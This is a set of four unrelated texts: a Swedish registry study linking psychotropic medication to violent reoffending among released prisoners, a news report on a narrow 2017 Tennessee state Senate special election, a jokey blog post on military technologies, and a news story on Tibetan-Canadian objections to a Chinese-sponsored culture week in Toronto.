Quiz Ref IDMost programs to reduce reoffending focus on psychosocial interventions, but their effect sizes are weak to moderate.5 As psychiatric and substance use disorders, which increase reoffending rates,6 are overrepresented among jail and prison populations,7 treatment with appropriate psychotropic medications offers an alternative strategy to reduce reoffending. In the general population, randomized clinical trials8 and observational studies9,10 have demonstrated associations between psychotropic medications and reductions in violence and crime. However, the evidence to modify reoffending risk is limited to a few small observational studies.11-13 Two major methodological issues restrict their validity. First, pharmacoepidemiologic studies are subject to confounding because of differences in indications for medication.14 That is, prisoners who are prescribed psychotropic medications are different (eg, more severe symptoms, comorbidity, or background risk) from those who are not. Second, nonadherence with medications is common in psychiatric patients,15 so more sensitive measures of medication exposure than simple categorization into treatment and nontreatment groups are required, as are approaches that account for individual differences in medication adherence.
This study investigated the main psychotropic medication classes prescribed to prisoners using longitudinal Swedish population registers and examined the association between prescription of psychotropic medication and risk of violent reoffending. For comparison, the associations of prison-based psychological treatments with reoffending were secondarily investigated.
Methods
Study Population
Data were obtained through linkage of population-based registers in Sweden, with unique personal identification numbers enabling accurate linkage.16 The study cohort consisted of all prisoners released between July 1, 2005, and December 31, 2010, from the Swedish Prison and Probation Service (SPPS). In addition to implementing sentences, the SPPS aims to reduce criminal recidivism and substance misuse by providing group-based, usually cognitive behavioral therapy–based programs. Complementary education and work skills training are also offered. In any given day, SPPS staff manage some 5000 inmates in 50 prisons and an additional 12 500 parolees or probationers across 34 probation offices all over Sweden.17
All individuals were followed up from the day of release until death, emigration, reincarceration, or December 31, 2013, whichever happened first. The study was approved by the Regional Ethics Committee at Karolinska Institutet, Stockholm, Sweden, which waived the requirement of informed consent because this study is a register-based study of anonymized data.
Measures
Data on the main exposure, psychotropic medications, were extracted from the Prescribed Drug Register, which includes information on all dispensed medication in Sweden since July 2005.18 The register also collects dispensing data for individuals in all forms of detention, including prisons. Following the Anatomical Therapeutic Chemical (ATC) classification system, 4 classes of psychotropic medications commonly used in this sample were selected: antipsychotics were defined with ATC code N05A; antidepressants with ATC code N06A; psychostimulants with ATC code N06B; and drugs used in addictive disorders with ATC code N07B, including nicotine, varenicline, disulfiram, acamprosate, naltrexone, buprenorphine, and methadone. Antiepileptic drugs (ATC code N03A), a mixed medication class used for treatment of epileptic seizures, neuropathic pain, and mood instability, were also included. Adrenergic inhalants (ATC code R03A), a commonly used medication class with negligible psychotropic effects, were selected as a negative control.
For each medication class, medication status was treated as a time-varying exposure (ie, medication status was not necessarily constant through follow-up), and each individual’s follow-up was divided into medicated and nonmedicated periods. In accordance with previous studies,9,10 an individual was defined as exposed to medication during the interval between 2 dispensed prescriptions, unless prescriptions were issued more than 3 months apart. We chose this interval because in routine psychiatric practice, oral medications are unlikely to be dispensed for more than 3 months at a time (the so-called 90-day rule in Sweden).9 The start of medication was defined as the date of the first prescription, and the end of medication was defined as the date of the last prescription. During intervals of 3 months or longer without any prescriptions, an individual was considered not exposed to medication. Each of the medication classes was considered independently, and the same systematic analytic strategy was applied.
A second exposure was also investigated: psychological treatment programs provided in prison by the SPPS.19 Three types of accredited treatment programs were included, mostly introduced and implemented in 2003 and 2004 and commonly used in this sample in group-based settings: general crime prevention programs (eg, cognitive skills, enhanced thinking skills), violence prevention therapies (eg, aggression replacement training, integrated domestic abuse program), and psychological treatments for substance abuse (eg, 12-step program, relapse prevention) (eTable 1 in the Supplement). Treatment program participation was optional but reserved for offenders with medium or high recidivism risk according to the risk principle for effective correctional interventions.20 To be accepted, individuals also had to understand Swedish or English and have at least 2 to 3 months of their sentence remaining. Most programs were translated from original versions in North America or the United Kingdom written by authors from both within and outside correctional services.21 Typically, programs are designed to help motivate offenders to change; accept accountability; identify risk factors for their criminal behavior; modify risk factors such as impulsivity, criminal attitudes, and drug craving; and reduce reoffending through relapse prevention plans when they return to society. The programs had all been introduced after recommendation by an accreditation committee of external experts in clinical psychology and treatment research. Treatment integrity was ascertained through instructor supervision of video recordings of actual program sessions. An individual was considered exposed to a treatment program only if the program was completed during the current incarceration period. The unexposed group included those who did not attend or complete the studied treatment programs.
Quiz Ref IDThe main outcome was any conviction for violent crime after release, according to the National Crime Register.22 In line with previous work,9 violent crime was defined as homicide, assault, robbery, arson, any sexual offense (rape, sexual coercion, child molestation, indecent exposure, or sexual harassment), illegal threats, or intimidation. The date of the crime was the date of the outcome. If no date of the crime was recorded, the conviction date was used instead.
Several covariates were included: age, sex, immigration status (defined as born outside Sweden), sociodemographic factors at the year of release (civil status, highest level of completed education, and disposable income), and criminal history factors (duration of incarceration, violent index offense [the most serious offense that led to the current prison sentence], and any previous violent crime).
For sensitivity analyses, information on lifetime diagnoses of psychiatric disorders was obtained from the National Patient Register, which used the International Classification of Diseases, Eighth Revision (ICD-8; 1973-1986, codes 290-315), ICD-9 (1987-1996, codes 290-319), and ICD-10 (1997-2009, codes F00-F99).6
Statistical Analysis
Cox proportional hazards models were used to calculate hazard ratios (HRs), and medication status was treated as a time-varying covariate in all analyses. Violent reoffending could occur multiple times during follow-up, with follow-up times reset to 0 after any outcome event.10 For each medication class, the association with violent reoffending was examined in 2 models. In the first (between-individual) model, rates of violent crime during medicated periods were compared with those in nonmedicated periods after prison release among released prisoners who had received the specific medication at least once during the study period (before, during, or after prison). The analyses were adjusted for age, sex, immigration status, sociodemographic factors, and criminal history covariates, and robust standard errors were calculated to account for correlations between periods for the same individual. The adjusted risk difference was calculated as I 0 × (HR a − 1), for which I 0 is the unadjusted event rate in the unexposed group and HR a is the adjusted HR. Next, stratified Cox regression was used to perform within-individual analyses, with each individual entered as a separate stratum.9,10,23 That is, each patient served as his or her own control, and rates of violent reoffending during medicated periods were compared with rates during nonmedicated periods in the same individuals. The within-individual HRs are thus adjusted for confounding by all unmeasured covariates that are constant within each individual during the follow-up (eg, genetic predisposition and all environmental factors at the start of follow-up). Individuals who were invariant with regard to exposure were not excluded, although they did not influence the results of within-individual estimates.
To assess the associations between psychological treatment programs in prison and violent reoffending, HRs were estimated using Cox regression, with adjustment for age, sex, immigration status, sociodemographic factors, and criminological covariates. For each treatment program, rates of violent reoffending were compared between people who completed the treatment program vs those who did not (or never started) in the full cohort. Second, analyses were conducted in subgroups of prisoners to attempt to match programs to their indications in a prespecified analytic plan. For general crime prevention programs, the analysis was performed in prisoners incarcerated for at least 6 months (long enough to complete most programs). For violence prevention, the analysis was conducted in prisoners who were incarcerated for at least 6 months and had a violent index offense. For psychological treatments aimed at substance abuse, the additional analysis was performed in prisoners diagnosed as having substance use disorders.
Several sensitivity analyses were conducted to examine whether results were altered by differences in cohort selection and outcome definition. These analyses were performed only with antipsychotics, psychostimulants, and drugs used in addictive disorders because these medications were found to be significantly associated with reductions in violent reoffending rates. First, the associations were examined in relevant specified diagnostic groups, specifically antipsychotics in prisoners diagnosed as having a schizophrenia spectrum disorder (ICD-8 codes 295, 297, 298.1-9, and 299; ICD-9 codes 295, 297, 298 [except .A], and 299; and ICD-10 codes F20-F29) or bipolar disorder (ICD-8 codes 296.1, 296.3, and 296.8; ICD-9 codes 296A, 296C-296E, and 296W; and ICD-10 codes F30-31) before prison release; psychostimulants in prisoners previously diagnosed as having attention-deficit hyperactivity disorder (ADHD) (ICD-9 code 314; and ICD-10 code F90); and drugs used in addictive disorders in those previously diagnosed as having substance use disorders (ICD-8 codes 291, 303, and 304; ICD-9 codes 291, 292, 303, 304, and 305; and ICD-10 codes F10-F19). Because of substantial comorbidity,24 antipsychotics were also examined among those with substance use disorders, and drugs used in addictive disorders were also tested among individuals with a schizophrenia spectrum disorder or bipolar disorder. Second, to test whether the associations were different depending on severity of crime, 2 additional outcomes were analyzed: (1) severe interpersonal violence, including homicide and attempted homicide, all forms of assault (including aggravated assault and assault of an officer), rape, sexual coercion, and child molestation25; and (2) any crime (violent and nonviolent crime combined). Third, the associations were tested in those treated before release and those treated only after release. Fourth, the associations were evaluated in those with and without a violent index offense. Fifth, to examine the associations during a longer period after release, follow-up time was extended beyond any reincarceration (when any subsequent time as a convicted or remanded prisoner was excluded). Sixth, as an indirect test of reverse causality, the nonadherence rates of other commonly used medications in those who violently reoffended were examined (eTable 2 in the Supplement).
All statistical analyses were performed with SAS version 9.4 statistical software (SAS Institute Inc). All tests were 2-sided, and the significance level was set to .05.
Results
The cohort included 22 275 released prisoners in Sweden (mean [SD] age, 38 [13] years; 91.9% male) from July 1, 2005, to December 31, 2010. Table 1 shows the baseline sociodemographic and criminal history information of the full cohort of released prisoners (N = 22 275), those with any dispensed psychotropic medications (n = 9915), and those who completed any psychological prison programs (n = 5561). The median follow-up time was 4.6 years (interquartile range, 3.0-6.4 years), and 4031 released prisoners (18.1%) were reconvicted for 5653 violent crimes during follow-up. The use of psychotropic medications after prison release was common; 2085 individuals (9.4%) were dispensed antipsychotics, 5660 (25.4%) antidepressants, 1202 (5.4%) psychostimulants, 2077 (9.3%) drugs used in addictive disorders, and 2235 (10.0%) antiepileptics (the groups were not mutually exclusive; Table 2).
In the between-individual analyses, there were 100 violent reoffenses during 1590 person-years of medicated periods with dispensed antipsychotics (a rate of 62.8 per 1000 person-years), whereas there were 1036 violent reoffenses during 10 941 person-years of nonmedicated periods (94.7 per 1000 person-years). The adjusted HR was 0.77 (95% CI, 0.62-0.96), which equated to a risk difference of 21.7 (95% CI, 3.7-35.9) fewer violent reoffenses per 1000 person-years (Figure 1). The adjusted HR associated with dispensed psychostimulants was 0.70 (95% CI, 0.56-0.88), which equated to a risk difference of 33.9 (95% CI, 13.5-49.7) fewer violent reoffenses per 1000 person-years. The adjusted HR associated with dispensed drugs for addictive disorders was 0.61 (95% CI, 0.41-0.90), equating to a risk difference of 27.5 (95% CI, 7.0-41.6) fewer violent reoffenses per 1000 person-years. Other medication classes, including antidepressants (HR = 1.04 [95% CI, 0.90-1.21]), antiepileptics (HR = 1.14 [95% CI, 0.95-1.38]), and adrenergic inhalants (negative control; HR = 0.85 [95% CI, 0.60-1.20]), were not associated with any significant differences in violent reoffending rates. A small number of individuals (175 of 9915 individuals who received any psychotropic medications [1.8%]) had missing values on sociodemographic factors and were excluded from between-individual analyses.
To account for unmeasured confounders that remained constant within each individual during follow-up, rates of violent reoffending were compared in the same individuals during medicated vs nonmedicated periods. The within-individual HR associated with dispensed antipsychotics was 0.58 (95% CI, 0.39-0.88), based on 100 events in 1596 person-years during medicated periods and 1044 events in 11 026 person-years during nonmedicated periods, corresponding to a risk difference of 39.7 (95% CI, 11.3-57.7) fewer violent reoffenses per 1000 person-years (Figure 2). The within-individual HR associated with dispensed psychostimulants was 0.62 (95% CI, 0.40-0.98), based on 94 events in 1648 person-years during medicated periods and 513 events in 4553 person-years during nonmedicated periods, equating to a risk difference of 42.8 (95% CI, 2.2-67.6) fewer violent reoffenses per 1000 person-years. The within-individual HR associated with dispensed drugs for addictive disorders was 0.48 (95% CI, 0.23-0.97), based on 46 events in 1168 person-years during medicated periods and 1103 events in 15 725 person-years during nonmedicated periods, equating to a risk difference of 36.4 (95% CI, 2.1-54.0) fewer violent reoffenses per 1000 person-years. Again, antidepressants, antiepileptics, and adrenergic inhalants were not associated with any significant differences in violent reoffending rates (HR = 1.09 [95% CI, 0.83-1.43]; 1.14 [95% CI, 0.79-1.65]; and 1.17 [95% CI, 0.62-2.23], respectively).
Psychological Treatments
In the full cohort, completion of psychological general crime prevention programs was associated with a reduced rate of violent reoffending; violence prevention therapies were associated with an increased rate of violent reoffending; and psychological treatments for substance abuse were not associated with violent reoffending (Table 3). In subgroup analyses that matched programs to their indications, the HR associated with general crime prevention programs was 0.77 (95% CI, 0.66-0.90), equating to a risk difference of 11.6 (95% CI, 5.1-17.1) fewer violent reoffenses per 1000 person-years. The HR associated with psychological treatments for substance abuse was 0.75 (95% CI, 0.63-0.89), for a risk difference of 23.2 (95% CI, 10.3-34.1) fewer violent reoffenses per 1000 person-years. Violence prevention therapies were not significantly associated with violent reoffending. A small number of individuals who had missing values on sociodemographic factors (75 of 5561 individuals [1.3%]) were excluded from the analyses.
Sensitivity Analyses
When examining the effect of psychotropic medications in subgroups of prisoners with diagnosed psychiatric disorders, similar estimates were found for antipsychotics in individuals diagnosed as having a schizophrenia spectrum disorder or bipolar disorder, for psychostimulants in those with ADHD, and for drugs for addictive disorders in those with substance use disorders (Table 4). Antipsychotics were not associated with lower rates of violent reoffending in those with substance use disorders, whereas drugs used for addictive disorders were linked to substantially less violent reoffending in those with a schizophrenia spectrum disorder or bipolar disorder. The results were largely comparable when outcomes were restricted to severe interpersonal crimes or any crimes (except there was no significant association between drugs used in addictive disorders and rates of any criminal reoffending) (Table 4). A similar pattern of results was found for those treated before release and those treated only after release (Table 4). Similar results were also found when stratifying on index offense or extending the follow-up time to beyond the first reincarceration period (Table 4). For commonly used nonpsychotropic medications, there was higher nonadherence in those who violently reoffended (44.0%) vs those without a violent reoffense (35.7%) (risk difference, 8.3% [95% CI, −2.2% to 18.8%]). However, this was not as much as the nonadherence rate for psychotropic medications (57.8% for those with a violent reoffense vs 41.0% for those without a violent reoffense; risk difference, 16.8% [95% CI, 6.2% to 27.3%]) (eTable 2 in the Supplement).
Discussion
Quiz Ref IDThis nationwide longitudinal study of 22 275 released prisoners examined the associations between main classes of psychotropic medication and violent reoffending. Unlike previous work, this investigation used a within-individual design that more carefully accounted for confounding by indication. There were 2 main findings. First, 3 classes of psychotropic medications (antipsychotics, psychostimulants, and drugs used in addictive disorders) were associated with substantial reductions in violent reoffending. Second, the magnitudes of these associations were as strong as and possibly stronger than those for widely disseminated psychological programs in prison.
There has been uncertainty about whether treatment for released prisoners with mental disorders should focus on criminogenic rather than mental health–related factors.26 The current observational study supports the potential role of treating psychiatric disorders, including by antipsychotic medication. The latter is consistent with recent findings that certain psychotic symptoms27 and untreated schizophrenia28 are associated with higher reoffending risk. Quiz Ref IDFurther, the findings provide evidence for potential benefits of psychostimulants for prisoners at high risk for reoffending. Although the stability of ADHD from childhood to adulthood is increasingly recognized,29,30 ADHD remains commonly underdiagnosed and undertreated in adults, including prisoners.31 In relation to substance use disorders, most intervention research in prisoners has focused on psychological treatments.32,33 Randomized clinical trials of pharmacological treatments (eg, methadone for opioid dependence) have mostly demonstrated relapse reduction and symptomatic improvement.34 The current study suggests that such benefits may extend to lower rates of violent reoffending if validated in trials. Owing to the high prevalence of substance use disorders among prisoners35 and strong links with premature mortality,36 pharmacological treatments for substance use disorders could have a substantial public health benefit.37
The reduction in violent reoffending was not observed for antidepressants or antiepileptics. Individuals with depression are less violent than individuals with other mental illnesses38; therefore, antidepressants may be less likely than other psychotropic medications to reduce violent reoffending. The finding that antiepileptics were not associated with reduced violent reoffending was unexpected because they can act as mood stabilizers, which are linked with lower rates of violent crime in community settings.9 However, previous work also identified important differences by diagnosis; for example, mood stabilizers were associated with violent crime reduction only in bipolar disorder.9 Thus, the lack of any association in this study is likely explained by heterogeneity in their use, including for chronic pain, seizures, and epilepsy.
Secondary analyses demonstrated that completion of psychological treatments targeting general criminal attitudes and substance abuse was associated with reductions in violent reoffending. Further, the associations with these psychological programs were not stronger than those for medications. These findings may have implications for risk management, because prison psychological programs need appropriate facilities, require sufficiently trained and supervised therapists, and are likely to be relatively expensive. Provision of medication after prison release needs evaluation as a possibly cost-effective crime reduction alternative. Because prisoners with psychiatric disorders benefit from both pharmacological and psychological treatments, research should investigate whether combining therapies improves outcomes.39
This study has a number of limitations. Randomized clinical trials in this field are rare owing to feasibility issues, and recruiting, obtaining consent from, and following up participants are considerable logistic challenges. Pharmacoepidemiologic studies offer an alternative approach with large and representative samples.9 However, unlike randomized clinical trials, they cannot account for all possible confounders that select individuals to treatment. One approach taken in the current study was to restrict one of the main analyses to individuals who had ever used medications from the studied medication class. Associations were further evaluated by within-individual analyses, an approach that accounted for all confounding factors remaining constant in each individual. Nevertheless, unmeasured time-varying confounding or reverse causality cannot be ruled out. For example, factors that could motivate individuals to use medications may be the same factors that influence them to not reoffend, or some factors that cause persons to resume their violent activities might also lead them to be nonadherent to their medications. These alternative explanations were investigated in secondary analyses. First, the different directions in the associations between different classes of psychotropic medications and violent reoffending would argue against this. If confounding were a major factor, then similar associations between all classes of medications and violent reoffending would be expected. Similarly, if engagement with the health care system was a key explanation, similar reduction across all classes of medication would be expected, which was not demonstrated. Second, no association between adrenergic inhalants (as negative control) and violent reoffending was seen. Third, violent reoffending was associated with higher rates of nonadherence for all categories of medication, but not as much as the nonadherence rate for psychotropic medications. Taken together, it was unlikely that unmeasured confounding or reverse causality could fully explain the observed associations. Nevertheless, observational studies like this one cannot prove causality. Validation with other samples and triangulation with other designs are necessary.
There are other limitations to consider. First, exposure to medication was measured using dispensed prescriptions, which does not account for poor medication adherence. If some individuals did not use medications as intended, it would bias the results toward null and mean that our findings are likely to be conservative estimates. Second, the data were not sensitive enough to investigate the effects of active symptoms or disease phase.28 Third, the analyses cannot account for all possible confounders that select individuals to prison-based programs. Caution is thus warranted in interpreting these results. Fourth, the findings were based in 1 country. Although Sweden has a low incarceration rate,1 some key prisoner characteristics are similar to those in other high-income countries (eg, prevalence of psychiatric disorders, reoffending rate, and duration of incarceration).6 At the same time, we tested the robustness of the main results and found reduced hazards for violent reoffending in prisoners prescribed antipsychotics, psychostimulants, and drugs used for addictive disorders when we restricted the cohort to individuals who had committed violent offenses on prison entry or prisoners prescribed these medications only after prison release, and we reported similar associations when we extended follow-up beyond first reincarceration.
The absolute numbers of prisoners with psychiatric disorders are large worldwide, and most individuals who could benefit from psychotropic treatment do not receive it after prison release.37 The magnitudes of the associations reported in this study may warrant correctional services to review policies for released prisoners. Evidence-based provision of psychotropic medications to released prisoners may have the potential to make substantial improvements to public health and safety, particularly in countries that are undergoing decarceration.
Conclusions
Quiz Ref IDAmong released prisoners in Sweden, rates of violent reoffending were lower during periods when individuals were dispensed antipsychotics, psychostimulants, and drugs for addictive disorders, compared with periods in which they were not dispensed these medications. Further research is needed to understand the causal nature of this association.
Back to top Article Information
Corresponding Author: Seena Fazel, MD, Department of Psychiatry, Warneford Hospital, University of Oxford, Oxford OX3 7JX, England ([email protected]).
Author Contributions: Drs Chang and Fazel had full access to all of the data in the study and take responsibility for the integrity of the data and the accuracy of the data analysis.
Concept and design: Chang, Lichtenstein, Larsson, Fazel.
Acquisition, analysis, or interpretation of data: Chang, Lichtenstein, Långström, Fazel.
Drafting of the manuscript: Chang, Fazel.
Critical revision of the manuscript for important intellectual content: All Authors.
Statistical analysis: Chang.
Administrative, technical, or material support: Lichtenstein, Fazel.
Conflict of Interest Disclosures: All authors have completed and submitted the ICMJE Form for Disclosure of Potential Conflicts of Interest. Dr Lichtenstein reported serving as a speaker for Medice. Dr Långström reported serving as national scientific adviser for research and evaluation at the Swedish Prison and Probation Service. Dr Larsson reported receiving grants from Shire and serving as a speaker for Shire and Eli Lilly and Co. Dr Fazel reported receiving a speaker’s fee from Janssen. No other disclosures were reported.
Funding/Support: This work was supported by grants from the Wellcome Trust (095806), the Swedish Research Council (2011-2492 and 2013-2280), the Swedish Research Council for Health, Working Life and Welfare (2012-1678 and 2014-2780), the Swedish Initiative for Research on Microdata in the Social and Medical Sciences (340-2013-5867), the European Union Seventh Framework Programme (602768), and the National Institute of Mental Health (1R01MH102221).
Role of the Funder/Sponsor: The sponsors had no role in the design and conduct of the study; collection, management, analysis, and interpretation of the data; preparation, review, or approval of the manuscript; and decision to submit the manuscript for publication. |
CLOSE Republican Mark Pody and Democrat Mary Alice Carfi are candidates in special election Wochit
Mark Pody (Photo: File)
In what one prominent political strategist said was a wake up call for the GOP, Republican Mark Pody narrowly defeated his Democratic challenger to win a special election Tuesday to fill Tennessee's District 17 Senate seat.
Mae Beavers resigned the seat to focus on her gubernatorial campaign, setting up the special election in a heavily Republican district that spans Wilson, Cannon, DeKalb, Smith, Clay and Macon counties.
Yet Pody, according to unofficial election returns, won by slightly more than 300 votes. Pody, a state representative, had 5,990 total votes with Democrat Mary Alice Carfi at 5,682 votes. There were 13 provisional ballots out, all in Wilson County, according to election officials.
Tuesday night on Twitter, Republican strategist Ward Baker said the results show the need to "wake up and engage the voter base."
"Tonight's near-loss of a heavy R seat in Tennessee's #SD17 proves that we can't rely on 2006 tactics," Baker wrote. "2018 means data-driven, digitally-focused campaigns."
"Tonight's special election in Tennessee should be a clear example of why we can’t take anything for granted," Baker added.
Tonight, the GOP almost lost a district that Trump won by over 40 points. If you're not running a data-driven, digitally-focused campaign, You. Will. Lose. #Don’t be average — Ward Baker (@WardBaker) December 20, 2017
In TN's #SD17, Democrats shifted a deep red seat by 46 points. We may have a 2006 environment, but we can't run 2006 campaigns. It's 2018 -- only data-driven campaigns will deliver reliable wins #GetPrepared — Ward Baker (@WardBaker) December 20, 2017
It's time for Tennessee Republicans to wake up and engage the voter base. Tonight's near-loss of a heavy R seat in Tennessee's #SD17 proves that we can't rely on 2006 tactics. 2018 means data-driven, digitally-focused campaigns — Ward Baker (@WardBaker) December 20, 2017
Tonight's special election in Tennessee should be a clear example of why we can’t take anything for granted. Campaigns must be focused on data/digital grassroots campaign #didyounothearaboutAlabama — Ward Baker (@WardBaker) December 20, 2017
Maybe you didn’t hear about the AL election last week or TN #SD17 tonight, but it’s time for the GOP to wake up. We must run smarter, data-driven campaigns built for 2018. No one wants another 2006. #GetPrepared — Ward Baker (@WardBaker) December 20, 2017
Pody won Wilson, Macon and Cannon counties; Carfi took Smith, DeKalb and Clay counties, according to totals submitted to the state.
Tuesday's results will be considered unofficial until results are certified, Adam Ghassemi, spokesman for Secretary of State Tre Hargett's office said.
Just over 11,600 peopled voted in the special election with just over 7,200 coming from Wilson County. Pody edged Carfi 3,641 votes to 3,561 votes in Wilson County, according to the state's unofficial numbers.
Pody acknowledged he didn't expect as close a race as it became, but said Carfi "worked hard and was well-organized" with a "grassroots campaign."
"It's a good thing when people get up and run, it gives people a choice and (brings forward) new ideas," Pody said.
Carfi, a Lebanon resident and Mt. Juliet attorney, ran as a first-time candidate for political office. Education, health care and increasing jobs that pay a living wage were the priorities Carfi stressed in her campaign.
"I think it shows that people are ready for a change," Carfi said. "I had a ton of volunteers who did a fantastic job and worked very hard."
In a district where Clinton hovered around 25%, first time candidate Mary Alice Carfi did an astounding job. Sad it wasn’t enough tonight, but we’re going to be hearing more from her. https://t.co/vNxbGwiNwv — Jeff Yarbro (@yarbro) December 20, 2017
In honor of what @ElectMaryAlice accomplished by coming within 308 votes of winning in a DEEP RED TN Trump district, let’s start the wave! When you retweet, add your own 🌊🌊🌊 & get those who retweet you to do the same. Mary Alice, this is for you! 🌊🌊🌊🌊🌊 — TN House Democrats (@TNDemocrats) December 20, 2017
Certification for the special election is expected to be complete before the General Assembly reconvenes Jan. 9, according to Ghassemi.
Pody, 61, of Lebanon, ran as the sitting District 46 state representative. Pody has expressed a conservative political philosophy similar to Beavers, who is also a Republican.
Pody’s campaign platform has included creating a more business-friendly environment with limited regulations, and raising the level of high paying jobs with investments in education and training.
"His strong, conservative message resonated with the people of District 17. I look forward to working with him to reduce taxes, keep our budget balanced and bring jobs to Tennessee," Lt. Gov. Randy McNally, R-Oak Ridge, said in a statement.
Pody also has advocated for Wilson County's Lawrence McKinney, a man who spent 31 years in prison before being cleared in 2009 on a rape and burglary conviction. Pody said he will continue to seek exoneration for McKinney, which would allow him to file for compensation with the Tennessee Board of Claims.
Mary Alice Carfi (Photo: File / Submitted)
The District 17 Senate and District 46 state representative seats are both up for election again in November 2018.
Pody plans to run again for the full Senate term in 2018, he said. Carfi will discuss her political future with her family, she said.
Mary Mancini, the Chair of the Tennessee Democratic Party, praised Carfi's campaign in a the district that heavily turned out for President Donald Trump in November 2016.
"This was a grassroots campaign driven by volunteers who made over 29,000 door knocks and phone calls and had over 6,000 conversations with voters in the district," Mancini said in a statement "Mary Alice inspired people to get involved by leading with her values and fighting for Tennessee families. While we came up just short, we showed a tremendous improvement in a difficult district ..."
The Wilson County Commission will appoint a replacement for Pody's House seat, since Pody lives in Wilson County.
Reach Andy Humbles at [email protected] or 615-726-5939 and on Twitter @AndyHumbles.
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If there’s anything cooler than technology, it’s warfare, and if there’s anything cooler than that, it’s the combination of the two.
Some may flap their hands in outrage at this statement, decrying the obscene cost of military R&D while we’re faced with “more pressing” issues than defense.
I’d urge such types to settle back onto their plushly-upholstered divans, take another puff on their cigarette’s extra-length, ivory holders and consider that nothing educates better than a rubber bullet. And nothing reduces a carbon footprint like a landmine.
Now, having worked the doves into a frothing frenzy, here are some cool, ridiculously expensive technologies to push them over the edge into berserker rage.
The XOS Robotic Exoskeleton
Robotics company Sarcos have developed a particularly intimidating, serious-business suit. Looking like a hollowed-out Terminator droid, the XOS is the pack-humping, long-marching, body-armoring ally of the future infantryman.
Well, assuming we don’t simply splice rhino-DNA into our clone armies, but let’s not give anyone ideas.
Donning this superhero-suit is as easy as fitting a webbing pack and a locking a pair of skis, if not quite as easy as slipping into a coat held up by a butler. From there, the suit mirrors the actions of every limb, endowing them with a brute strength to shame The Gubernator himself.
In one demonstration, the suit performed 500 reps on a pull-down bar weighted at 200 pounds, before intolerable boredom set in for its wearer and he presumably set to punching down walls instead.
With all that power, you’d expect movement to be clumsy and limited. Wrong. Even though it weighs 150 pounds, the XOS is agile enough to conceivably wear to your next Grand Ball.
They’re even talking of a model soldiers can disengage from, which will then continue with soldierly duties all by itself… Ah, DARPA contracts, hastening the inevitable robot apocalypse in style.
Non-military adaptations of the XOS, for firemen and cripples, are scheduled to appear in due course and we’re hoping the future everyman gets one too. The issue of parallel parking by females could finally be laid to rest, gingerly and neatly from an overhead deadlift.
Small Unit Space Transport and Insertion, Sustain
Small unit insertion may sound familiar to you but don’t be fooled – Sustain is an aerospace project being developed for the U.S. Marine Corps. Its aim is to transport a squad of over a dozen marines anywhere on the globe. Within two hours, max.
It’ll be a two-stage process. A carrier craft, perhaps a B-52 or similar, will power the lander to the upper atmosphere. The landing craft, probably Boeing’s X-51A currently in testing, will break away, fire up its scramjet engines and cruise at Mach 7 to its destination.
That it’ll do so just over the 50 mile limit to national airspace is perhaps something that’s occurred to the brass. They’re canny that way.
Now, while the thought of doing a flight that currently takes ¾ of a day, Los Angeles to Singapore say, in just two hours is cool if you’re a marine, what we’re really waiting for is the passenger version.
Or, for Singapore to declare war. And though it’s still a ways off for the average (GI) Joe, this new technology may soon eclipse the $50 M Gulfstream private jet as the transportation method of choice for the global super-class.
We hope they remember to pack their jetlag pills and industrial-strength barf-bags.
The 600 Ton Robot Lorry
Industrial machinery manufacturer Caterpillar and Carnegie Mellon University scientists have teamed up to create the ultimate redneck fantasy.
This 600 ton robot lorry can drive right over conventional monster trucks, which are more like Tonka trucks in comparison. It can crush cars, tanks and even houses beneath its merciless treads.
It can transport loads of up to 380 tons, making it handy for pyramid construction. And best, or perhaps most disturbingly of all, Caterpillar’s new beast can operate without a driver. Yeah, you read right.
Following a successful series of DARPA trials to develop a self-driven car, it was only a matter of time before a self-driven, mechanical Godzilla reared its head.
From there, it’s a short but inevitable step to someone covering it in guns and missiles. From there, a short quick step to all of us learning to speak Binary.
Weapons Against Robots
If the proliferation of vehicular kill-bots and humanoid death-droids sets off your “Danger, Will Robinson” alarm, you’ll be pleased to learn of WAR Defence.
This start-up was founded by dot com millionaire, Ben Way, who’s well aware of the increasing militarization of robotics technology. His company exists to find ways of defending against enemy robots, or any of ours made sullen and uncooperative by robot puberty.
WAR, “the world’s first defense company solely dedicated to weaponry against robotic entities,” is working on several means to this end. Most interesting is circuitry-frying, non-lethal (to humans anyway) technology like Electric Storm-AX1.
This high energy microwave device, along with similar directed EMP devices, offers humanity’s best hope of neutralizing hostile machinery to survive the inevitable robot apocalypse. Not to mention dealing with your neighbor’s blaring car alarm and rap music.
It’s all still in the early stages, of course, but that’s not going to stop us from buying shares in WAR Defense and posting several thousand “up yours, sentient artificial intelligence,” messages to the internet.
While it may be a few years before we see rocket-pack police jumping from spaceships, fighting off giant bulldozer robots with energy guns, that future scenario is closer to becoming a reality then ever before. Let’s just hope that before we all kick the bucket from some nuclear-robot holocaust that we also develop the time machine portal to send someone back to stop it all from ever happening in the first place. |
It’s billed as a “breathtaking” display of Tibet’s culture, but Canadian-Tibetans are denouncing programs about the contested region as an “insulting” and “deeply disrespectful” display of propaganda.
The Canada China Tibetan Culture Week opens in Toronto Tuesday at the TIFF Bell Lightbox with a documentary screening, followed by traditional song and dance performances by a Tibet-based troupe at the Bluma Appel Theatre. Events are also being held in Vancouver.
It is part of an international touring exhibition co-sponsored by China’s State Council Information Office, which has made stops in Australia, Germany and Spain, among others, since 2001.
Toronto’s event is organized by the Justin Poy Agency, but critics consider it to be as part of a “well-oiled and insidious” propaganda campaign by the Chinese Communist Party.
It comes days after the Toronto District School Board cancelled its planned partnership with the Confucius Institute, a Chinese government-funded non-profit, amid concerns about how it would promote the ruling party.
‘Right now Tibet is one of the least free countries in the world’
The image put forward by the Culture Week of Tibetans as “happy, dancing, exotic people” is far from reality, said Urgyen Badheytsang, Canadian director of Students for a Free Tibet.
“Right now Tibet is one of the least free countries in the world,” he said.
Members of the Canadian Tibetan Association of Ontario, Students for a Free Tibet Canada and Dokham Chushe Gangdruk Society of Canada are threatening to protest the TIFF screening if organizers do not cancel it.
“This is no different than if you were to be showing [Leni] Riefenstahl’s Triumph of the Will in the 1930s, with an accompanying dance troupe of Jewish and Roma performers,” the group writes in an open letter to TIFF and media partner the Toronto Star.
“While you show films and images, and host dancers celebrating ‘Glorious Tibet’ and the ‘new socialist reality,’ over 130 Tibetan men and women, mothers and fathers, monks and
lay persons have doused themselves in gasoline and lit themselves on fire in protest of China’s occupation, and countless others are suffering decades of torture and imprisonment in China’s Lao Gai prison camps.”
The Justin Poy Agency did not respond to a request for comment.
In an email, a representative from TIFF wrote it often rents out its facilities to other organizations.
“This event is not being hosted or programmed by TIFF, our building is simply the venue,” the email said.
National Post
• Email: [email protected] | Twitter: nataliealcoba |
